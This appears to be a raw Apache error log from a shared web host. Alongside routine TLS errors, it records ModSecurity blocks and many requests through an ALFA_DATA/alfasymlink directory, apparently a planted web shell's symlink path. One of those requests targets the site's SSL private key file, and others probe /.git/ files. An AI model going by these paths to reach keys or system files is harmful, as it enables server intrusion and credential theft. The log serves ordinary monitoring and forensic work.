[Sat Oct 24 16:03:06.447533 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.163.136.244:60658] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:03:10.192099 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.23.103.31:34214] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:03:19.536669 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 52.23.112.144:40939] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:03:26.351117 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.235.215.92:44374] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:03:30.210648 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.147.182.90:17463] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:03:41.872385 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 185.191.171.2:31074] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:03:42.189864 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.84.60.17:45971] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:03:50.412669 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.235.191.179:57994] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:03:54.306862 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 35.173.18.61:24175] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:04:02.235379 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 52.204.37.237:13962] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/firmware_node/eject
[Sat Oct 24 16:04:14.540448 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 18.233.24.238:17463] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:04:18.250552 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 184.72.84.154:27333] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:04:20.367210 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 185.191.171.7:26086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/closing_wait
[Sat Oct 24 16:04:26.339434 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.208.11.93:54187] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:04:30.204253 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 100.28.118.16:29997] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:04:34.218903 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.207.207.36:42805] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:05:02.278929 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.211.148.239:8100] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:05:14.177594 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 34.226.89.140:34713] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:08/eject
[Sat Oct 24 16:05:17.636841 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.13:22858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf-frags/trace
[Sat Oct 24 16:05:18.234664 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 35.168.238.50:11007] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:05:22.211479 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.211.148.239:37467] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:05:34.336391 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 54.147.238.89:32948] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/device:0d/eject
[Sat Oct 24 16:05:41.156315 2026] [security2:error] [pid 2693020:tid 2693020] [client 185.191.171.5:20974] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bb1a0_e5abb_ed692afba6965f9b27b8c2f4d740b171.key"] [unique_id "at0PlTKiZtbKEGWJKoLSDQAAACE"]
[Sat Oct 24 16:05:41.156662 2026] [security2:error] [pid 2693020:tid 2693020] [client 185.191.171.5:20974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bb1a0_e5abb_ed692afba6965f9b27b8c2f4d740b171.key"] [unique_id "at0PlTKiZtbKEGWJKoLSDQAAACE"]
[Sat Oct 24 16:05:41.157094 2026] [security2:error] [pid 2693020:tid 2693020] [client 185.191.171.5:20974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bb1a0_e5abb_ed692afba6965f9b27b8c2f4d740b171.key"] [unique_id "at0PlTKiZtbKEGWJKoLSDQAAACE"]
[Sat Oct 24 16:05:42.402036 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.198:32534] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/total_objects
[Sat Oct 24 16:06:14.153391 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.80.185.200:42723] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:06:18.212827 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.209.137.234:38494] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:06:18.376949 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 85.208.96.199:32086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_tasks/objects_partial
[Sat Oct 24 16:06:30.260886 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.44.174.136:44657] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:06:34.221397 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 100.29.160.53:36449] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:06:38.168934 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.3.155.146:65256] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:06:50.373511 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 98.83.178.66:39397] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:06:54.293613 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.213.102.186:61845] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:07:06.202297 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 52.2.191.202:17783] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/bus/hid/drivers/magicmouse/unbind
[Sat Oct 24 16:07:14.234705 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.83.94.113:29330] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:07:18.191427 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.213.27.222:19694] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:07:26.265693 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.0.218.219:56990] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:07:30.159957 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 54.197.178.107:58898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:07:38.144164 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 34.233.114.237:50693] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:03.0/driver/remove_id
[Sat Oct 24 16:07:54.250179 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 44.210.213.220:46533] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:08:06.281469 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.235.191.179:44526] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:08:08.251397 2026] [security2:error] [pid 2693034:tid 2693034] [client 144.172.105.154:37370] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at0QKFQTwXU83R4GW_mXwAAAACg"]
[Sat Oct 24 16:08:08.251641 2026] [security2:error] [pid 2693034:tid 2693034] [client 144.172.105.154:37370] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at0QKFQTwXU83R4GW_mXwAAAACg"]
[Sat Oct 24 16:08:08.328968 2026] [security2:error] [pid 2693034:tid 2693034] [client 144.172.105.154:37370] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "at0QKFQTwXU83R4GW_mXwAAAACg"]
[Sat Oct 24 16:08:30.204991 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.54.15.103:49272] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:08:34.338453 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 3.213.85.234:65402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/remove_id
[Sat Oct 24 16:08:42.190452 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.84.93.8:18798] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:08:46.509093 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 98.80.130.239:17549] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory3/node0/cpu0/firmware_node/subsystem/drivers/button/uevent
[Sat Oct 24 16:08:58.144919 2026] [ssl:error] [pid 2693039:tid 2693039] (5)Input/output error: [client 54.166.104.83:40868] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:09:06.500385 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.225.138.57:59678] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:09:10.218172 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.235.172.108:9081] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:09:19.762072 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 185.191.171.16:60762] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/hwcache_align
[Sat Oct 24 16:09:22.307310 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 35.169.119.108:63310] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:09:26.418678 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 23.21.179.27:49754] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:09:32.929492 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 185.191.171.16:56898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:09:34.434271 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 18.214.186.220:57934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/thunderbolt/unbind
[Sat Oct 24 16:09:38.172943 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 3.232.102.111:39323] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/ata_port/ata2/subsystem/ata2/device/host1/target1:0:0/1:0:0:0/driver/module/drivers/scsi:sr/unbind
[Sat Oct 24 16:09:46.210110 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 98.84.70.201:25779] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:04.0/driver/bind
[Sat Oct 24 16:09:54.306564 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.227.180.70:1701] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:09:55.773908 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 185.191.171.16:32106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/shrink
[Sat Oct 24 16:09:58.365905 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 3.220.148.166:16806] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/aliases
[Sat Oct 24 16:10:06.140386 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.205.141.124:12142] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:10:07.011240 2026] [security2:error] [pid 2677776:tid 2677776] [client 185.191.171.18:43806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sbin/exim_lock"] [unique_id "at0Qn2ZJIyiQiKFtr2-6RQAAABU"]
[Sat Oct 24 16:10:07.011289 2026] [security2:error] [pid 2677776:tid 2677776] [client 185.191.171.18:43806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sbin/exim_lock"] [unique_id "at0Qn2ZJIyiQiKFtr2-6RQAAABU"]
[Sat Oct 24 16:10:28.818359 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 85.208.96.204:60690] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:10:32.672067 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 85.208.96.210:19434] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:10:34.158647 2026] [ssl:error] [pid 2692917:tid 2692917] (5)Input/output error: [client 44.196.118.6:49530] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:11:10.137956 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 23.23.180.225:48026] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:11:26.368411 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.213.106.226:20791] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:11:34.315430 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.199.252.22:55240] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:11:38.301603 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.3.104.214:44181] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:11:46.207051 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.159.98.248:49047] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:12:06.644268 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.84.147.79:43811] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:12:22.286829 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 184.73.195.18:64479] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:12:26.306563 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.218.103.254:24428] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:12:30.157730 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.3.104.214:28212] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:12:46.276948 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.196.6.199:58455] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:12:50.333369 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 23.22.59.87:56307] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.3/driver/remove_id
[Sat Oct 24 16:13:02.360153 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.205.120.22:26397] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:13:30.282568 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 98.83.226.125:59614] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:13:38.160228 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 98.84.200.43:59231] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:13:42.468331 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.94.157.25:48185] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:13:46.354204 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.223.116.149:2520] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:13:50.264706 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 44.210.213.220:55367] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:13:53.068016 2026] [security2:error] [pid 2677776:tid 2677776] [client 35.162.140.124:41494] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.git/HEAD"] [unique_id "at0RgWZJIyiQiKFtr2-6TQAAABU"], referer: https://sucuri.net
[Sat Oct 24 16:13:53.068489 2026] [security2:error] [pid 2677776:tid 2677776] [client 35.162.140.124:41494] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.git/HEAD"] [unique_id "at0RgWZJIyiQiKFtr2-6TQAAABU"], referer: https://sucuri.net
[Sat Oct 24 16:13:53.069310 2026] [security2:error] [pid 2677776:tid 2677776] [client 35.162.140.124:41494] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at0RgWZJIyiQiKFtr2-6TQAAABU"], referer: https://sucuri.net
[Sat Oct 24 16:13:57.899865 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.6:10428] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kcare/sections/__jump_table
[Sat Oct 24 16:13:58.423871 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.215.59.93:8410] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:13:59.033142 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 85.208.96.197:22470] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/custom_divisor
[Sat Oct 24 16:14:18.211509 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 107.22.208.39:23726] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:14:27.706521 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 85.208.96.212:38552] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:14:30.328891 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 34.199.252.22:18634] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:14:34.348259 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 44.221.180.179:7842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYSTM:00/LNXSYBUS:01/subsystem/devices/device:03/physical_node/driver/bind
[Sat Oct 24 16:14:42.550449 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.207.69.106:31359] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:14:58.243069 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 54.225.81.20:33566] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:15:04.197306 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 185.191.171.4:47242] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:15:06.341643 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 3.230.69.161:1532] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:15:14.556109 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.224.205.25:51676] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:15:18.418384 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 35.174.141.243:63400] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:15:34.509725 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.3.104.214:23007] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:15:38.288877 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.145.82.217:65211] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:15:46.281391 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.231.77.232:58937] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:15:50.384986 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.208.193.63:44346] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:15:54.274863 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 52.70.138.176:56106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:20/eject
[Sat Oct 24 16:16:14.129533 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.213.85.234:62043] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:16:26.269640 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 34.202.88.37:8491] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:16:30.212423 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 100.29.155.89:20016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/vmd/uevent
[Sat Oct 24 16:16:37.214783 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.204:61742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/destroy_by_rcu
[Sat Oct 24 16:16:38.353441 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 3.230.224.6:22336] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:16:42.123071 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 44.221.227.90:3624] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty21/subsystem/tty13/subsystem/ttyS3/xmit_fifo_size
[Sat Oct 24 16:16:54.184401 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.226.106.93:51910] AH02013: coalesce failed to read from data bucket
